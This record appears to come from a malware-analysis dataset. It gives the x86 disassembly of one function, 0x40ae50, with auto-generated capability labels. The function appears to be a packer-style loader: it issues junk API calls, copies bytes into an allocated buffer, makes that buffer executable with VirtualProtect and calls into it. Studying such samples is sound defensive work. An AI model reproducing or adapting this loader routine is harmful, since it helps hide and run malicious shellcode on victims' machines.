Function at 0x40ae50
Capabilities:
Allocate or change rwx memory
Create pipe
Execute shellcode via indirect call
Execute shellcode via windows callback function
Get common file path
Get geographical location
Get hostname
Set console window title
Set current directory
Set uefi variable

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x40b34b
mov eax, dword fs:[0]
push eax
push ecx
mov eax, 0x1044
call fcn.00409960
mov eax, dword [0x818030]
xor eax, esp
mov dword [esp + 0x1040], eax
push ebx
push esi
push edi
mov eax, dword [0x818030]
xor eax, esp
push eax
lea eax, [esp + 0x1058]
mov dword fs:[0], eax
mov edx, dword [0xc16c84]
cmp edx, 0x7c
jne 0x40aef3
lea eax, [esp + 0x10]
push eax
lea ecx, [esp + 0x48]
push ecx
call dword [sym.imp.KERNEL32.dll_FileTimeToLocalFileTime]
xor esi, esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_IsBadWritePtr]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryW]
push esi
lea edx, [esp + 0x50]
push edx
push esi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
cmp dword [0xc16c84], 0x2d
jne 0x40aee2
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_EnumCalendarInfoW]
push esi
call fcn.0040137c
mov edx, dword [0xc16c84]
add esp, 4
jmp 0x40aef5
xor esi, esi
mov ecx, dword [0x8190cc]
xor eax, eax
mov ebx, 0xec58acac
or edi, 0xffffffff
cmp eax, 0x1c3
jne 0x40af12
lea edx, [ecx + 0xa231]
cmp edx, 0x141
jne 0x40af26
mov dword [0x819d58], ebx
mov dword [0x819d5c], edi
inc eax
cmp eax, 0xb9fa618
jl 0x40af05
mov ebx, dword [sym.imp.KERNEL32.dll_FindAtomW]
mov dword [0xc16c84], edx
xor edi, edi
lea esp, [esp]
cmp edi, 0x562d05
jne 0x40af52
mov eax, dword [0x818f58]
mov dword [0xc16c88], eax
cmp edx, 0x3c
jne 0x40af64
push str.xuresevicosepifapodulu
call ebx
mov edx, dword [0xc16c84]
inc edi
cmp edi, 0x5f6c74
jl 0x40af40
cmp edx, 0x110a
jne 0x40b0a3
push esi
mov dword [0xc16b50], esi
mov dword [0xc16b54], esi
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasesLengthW]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
lea ecx, [esp + 0x10]
push ecx
lea edx, [esp + 0x50]
push edx
call dword [sym.imp.KERNEL32.dll_GetComputerNameW]
push esi
call dword [sym.imp.KERNEL32.dll_GlobalUnfix]
push str.vufaruyurorisudedimizi_ruwokuliwawujedi_potibarugecup_fegusowujelumaxat_yozizoponurezetivedarofefutot
call dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryW]
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_SetCommTimeouts]
push esi
call fcn.0040129c
add esp, 4
push esi
call fcn.0040129c
add esp, 4
push 0x30
push 0x816d4c
push str._s__c
push 0x819cd0
call fcn.0040107f
push 4
call fcn.0040153c
add esp, 0x14
cmp eax, esi
je 0x40b006
lea ecx, [esp + 0x1c]
mov dword [eax], ecx
jmp 0x40b008
xor eax, eax
mov dword [esp + 0x1c], eax
push esi
push esi
mov dword [esp + 0x30], esi
mov dword [esp + 0x34], esi
mov dword [esp + 0x38], esi
call fcn.0040120d
push esi
call fcn.0040129c
add esp, 0xc
push 0x816d4c
push 0x819cd0
call fcn.0040107f
push esi
call fcn.004014ae
mov eax, dword [esp + 0x34]
add esp, 0xc
cmp eax, esi
je 0x40b08a
mov ebx, dword [esp + 0x2c]
cmp eax, ebx
je 0x40b081
lea edi, [eax + 0x18]
cmp dword [edi], 8
jb 0x40b064
mov edx, dword [edi - 0x14]
push edx
call fcn.004014c5
add esp, 4
xor eax, eax
mov dword [edi], 7
mov dword [edi - 4], esi
mov word [edi - 0x14], ax
add edi, 0x1c
lea ecx, [edi - 0x18]
cmp ecx, ebx
jne 0x40b053
mov eax, dword [esp + 0x28]
push eax
call fcn.004014c5
add esp, 4
mov edx, dword [esp + 0x1c]
push edx
mov dword [esp + 0x2c], esi
mov dword [esp + 0x30], esi
mov dword [esp + 0x34], esi
call fcn.004014c5
add esp, 4
push str.kernel32.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov eax, dword [0xc16c84]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
xor edi, edi
mov dword [0xc169a8], eax
cmp dword [0xc16c84], esi
jbe 0x40b116
mov ebx, dword [sym.imp.KERNEL32.dll_CreateNamedPipeW]
mov ecx, dword [0xc16c88]
mov dword [esp + 0x10], ecx
mov eax, 0xa231
add dword [esp + 0x10], eax
mov edx, dword [esp + 0x10]
mov al, byte [edx + edi]
mov ecx, dword [0xc169a8]
mov byte [ecx + edi], al
cmp dword [0xc16c84], 0x5ab
jne 0x40b10d
push esi
push esi
push esi
push esi
push esi
push esi
push esi
push str.zeyayunuyologirenabasin_mulilecejidinoki_cifabifejucuhaxel_vevagejugucexaduyoturidulege_lojubotejizubuwejipo
call ebx
inc edi
cmp edi, dword [0xc16c84]
jb 0x40b0d0
mov edi, dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push str.msimg32.dll
call edi
mov eax, dword [0xc16c84]
mov ecx, dword [0xc169a8]
lea edx, [esp + 0x18]
push edx
push 0x40
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov eax, dword [0xc16c84]
mov edx, dword [0xc169a8]
mov ebx, dword [0x818f60]
mov esi, eax
mov dword [esp + 0x10], edx
cmp eax, 0x930
jne 0x40b16b
push str.vibiduliwomolabex
call dword [sym.imp.KERNEL32.dll_SetConsoleTitleA]
mov eax, dword [0xc16c84]
mov dword [0x819d54], ebx
cmp eax, 0x114e
jne 0x40b191
lea eax, [esp + 0x1c]
push eax
push str.kutavojosigeyulezupepazufudemed
call dword [sym.imp.KERNEL32.dll_BuildCommDCBA]
push 0
call edi
mov eax, dword [0xc16c84]
cmp eax, 0x2f
jne 0x40b1aa
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumTimeFormatsW]
push 0
call dword [sym.imp.KERNEL32.dll_FindVolumeClose]
mov ebx, dword [esp + 0x10]
mov edi, esi
call fcn.0040acc0
mov ecx, dword [0xc169a8]
xor eax, eax
lea ecx, [ecx]
cmp eax, 0xbd9cb
jne 0x40b1cd
add ecx, 0
inc eax
cmp eax, 0x15a63d
jl 0x40b1c0
mov ebx, dword [esp + 0x24]
mov esi, dword [sym.imp.KERNEL32.dll_GetAtomNameW]
mov dword [0xc169a8], ecx
xor edi, edi
push 0
lea ecx, [esp + 0x850]
push ecx
push 0
call esi
cmp edi, 0x1a01e
jle 0x40b205
cmp ebx, 0xf5bed7
jne 0x40b20e
inc edi
cmp edi, 0x1ece7a52
jl 0x40b1e7
mov esi, dword [sym.imp.KERNEL32.dll_SetFirmwareEnvironmentVariableA]
mov edi, dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov dword [esp + 0x10], 0x1e4165
mov ebx, 0x8e46a6f0
jmp 0x40b230
cmp dword [0xc16c84], 0xcc1
jne 0x40b24c
push 0
push 0
push str.pamemujewusahomowuxoxozucin
push str.cukexagemeredivizuwomiv_pixininenopobobebagisemex_kosidepujodecirigoyugidulen_dibogeluteyapihovahogunut
call esi
cmp dword [0xc16c84], 0x7c4
mov dword [0xc169ac], ebx
jne 0x40b260
call edi
sub dword [esp + 0x10], 1
jne 0x40b230
mov ecx, dword [esp + 0x1058]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x1040]
xor ecx, esp
call fcn.00401070
mov esp, ebp
pop ebp
ret